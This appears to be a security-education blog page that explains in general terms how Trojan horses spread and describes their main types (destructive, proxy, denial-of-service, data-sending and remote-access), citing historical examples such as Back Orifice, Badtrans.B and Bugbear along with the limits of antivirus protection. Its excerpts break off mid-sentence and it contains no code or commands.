Learn Ethical Hackings

For a network user who is protected by a firewall and whose ICQ and IRC connections are disabled, infection will mostly occur via an email attachment or through a software download from a website. Many users claim never to open an attachment or to download software from an unknown website, however clever social engineering techniques used by hackers can trick most users into running the infected attachment or downloading the malicious software without even suspecting a thing. An example of a Trojan that made use of social engineering was the Septer. troj, which was transmitted via email in October 2001. This was disguised as a donation form for the American Red Cross's disaster relief efforts and required recipients to complete a form, including their credit card details. The Trojan then encrypted these details and sent them to the attacker's website.   >> Infection via attachments It is amazing how many people are infected by running an attachment sent to th...

The only function of these Trojans is to destroy and delete files. This makes them very simple to use. They can automatically delete all the core system files (for example, .dll, .ini or .exe files, and possibly others) on your machine. The Trojan can either be activated by the attacker or can work like a logic bomb that starts on a specific day and time. A destructive Trojan is a danger to any computer network. In many ways, it is similar to a virus, but the destructive Trojan has been created purposely to attack you, and therefore is unlikely to be detected by your anti-virus software.   >> Proxy Trojans   These Trojans turn the victim's computer into a proxy server, making it available to the whole world or to the attacker alone. It is used for anonymous Telnet, ICQ, IRC, etc., to make purchases with stolen credit cards, and for other such illegal activities. This gives the attacker complete anonymity and the opportunity to do everything from YOUR comp...

So how do you protect your network from Trojans? A common misconception is that anti-virus software offers all the protection you need. The truth is anti-virus software offers only limited protection. Anti-virus software recognizes only a portion of all known Trojans and does not recognize unknown Trojans. Although most virus scanners detect a number of public/known Trojans, they are unable to scan UNKNOWN Trojans. This is because anti-virus software relies mainly on recognizing the signatures of each Trojan. Yet, because the source code of many Trojans is easily available, a more advanced hacker can create a new version of that Trojan, the signature of which NO anti-virus scanner will have. If the person planning to attack you finds out what anti-virus software you use, for example through the automatic disclaimer added to outgoing emails by some anti-virus engines, he will then create a Trojan specifically to bypass your virus scanner engine. Apart from failing to det...

These Trojans give the attacker the power to start a distributed denial of service (DDoS) attack if there are enough victims. The main idea is that if you have 200 infected ADSL users and you attack the victim simultaneously from each, this will generate HEAVY traffic (more than the victim's bandwidth can carry, in most cases), causing its access to the Internet to shut down. WinTrinoo is a DDoS tool that has recently become very popular; through it, An attacker who has infected many ADSL users can cause major Internet sites to shut down; Early examples of this date back to February 2000, when a number of prominent e-commerce sites such as Amazon, CNN, E*Trade, Yahoo and eBay were attacked. Another variation of a DoS Trojan is the mail-bomb Trojan, where the main aim is to infect as many machines as possible and simultaneously attack specific email address/addresses with random subjects and contents that cannot be filtered. Again, a DoS Trojan is similar to a virus,...

The purpose of these Trojans is to send data back to the hacker with information such as passwords (ICQ, IRC, FTP, HTTP) or confidential information such as credit card details, chat logs, address lists, etc. The Trojan could look for specific information in particular locations or it could install a key-logger and simply send all recorded keystrokes to the hacker (who in turn can extract the passwords from that data). An example of this is the Badtrans.B email virus (released in the wild in December 2001) that could log users' keystrokes. Captured data can be sent back to the attacker's email address, which in most cases is located at some free web-based email provider. Alternatively, captured data can be sent by connecting to a hacker's website - probably using a free web page provider - and submitting data via a web-form. Both methods would go unnoticed and can be done from any machine on your network with Internet and email access. Both internal and external...

These are probably the most publicized Trojans, because they provide the attacker with total control of the victim's machine. Examples are the Back Orifice and Netbus Trojans. The idea behind them is to give the attacker COMPLETE access to someone's machine, and therefore full access to files, private conversations, accounting data, etc. The Bugbear virus that hit the Internet in September 2002, for instance, installed a Trojan horse on the victims'machines that could give the remote attacker access to sensitive data. The remote access Trojan acts as a server and usually listens on a port that is not available to Internet attackers. Therefore, on a computer network behind a firewall, it is unlikely that a remote (off-site) hacker would be able connect to the Trojan (assuming that you have blocked these ports, of course). HOWEVER, an internal hacker (located behind the firewall) can connect to this kind of Trojan without any problems.   _________________________...
